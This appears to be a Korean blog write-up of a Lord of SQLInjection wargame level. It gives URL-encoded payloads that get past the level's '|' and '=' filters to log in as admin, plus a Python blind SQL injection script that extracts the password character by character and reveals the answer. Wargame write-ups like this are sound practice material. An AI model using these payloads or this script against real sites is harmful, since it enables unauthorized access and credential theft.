- OR연산자인 수직선 | 필터링 → URL인코딩하면 %7c
- 같다 = 필터링 → 컬럼 in ('admin')
- 패스워드를 알아내야 한다.
?pw=%27%7c%7cid%20in%20(%27admin%27)%23
하면 admin로그인은 가능.
pw를 알아내기 위해..
블라인드 sql injection 할 것이다.
위 쿼리에 && 1 in (1)과 && 1 in (2) 넣으면 두 결과가 다른 것 확인 가능.
이제 해보자..
1. pw 길이 알아내기
length(pw) in (1) ~ length(pw) in (n) 반복
n=8
?pw=%27%7c%7cid%20in%20(%27admin%27)%26%26length(pw)%20in%20(8)%23
2. 코드 작성
- 집에서하자 업무컴으로 암것도 안됨
import requests
url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php"
cookie = {"PHPSESSID": "세션"}
def pw_find():
length = 8
pw = ""
for i in range(length):
start_num = 1
end_num = 127
value = 64
while True:
param = {
"pw": "'%7c%7cid in ('admin')%26%26ascii(mid(pw,{},1)) in ({})#".format(
i + 1, value
)
}
print(param)
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
pw += chr(value)
break
else:
param = {
"pw": "'%7c%7cid in ('admin')%26%26ascii(mid(pw,{},1)) > {}#".format(
i + 1, value
)
}
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
start_num = value
value = (value + end_num) // 2
else:
end_num = value
value = (start_num + value) // 2
print("password: ", pw)
pw_find()
참고로 substr 필터링이 존재하기 때문에..
mid함수를 사용했다.
그러나 지금 사정상 파이썬 코드를 못돌려서 노가다했다.
각 56 56 101 51 49 51 55 102
=> 88e3137f
'Play > wargame' 카테고리의 다른 글
[LOS] Load of SQLInjection 13번 풀이 (0) | 2022.10.28 |
---|---|
[LOS] Load of SQLInjection 12번 풀이 (5) | 2022.10.25 |
[LOS] Lord of SQLinjection 7번 (0) | 2022.10.23 |
webhacking.kr 6번 - base64 (0) | 2022.10.18 |
(webhacking.kr 2번) 해도 해도 헷갈리는 Blind SQLInjection (4) | 2022.10.11 |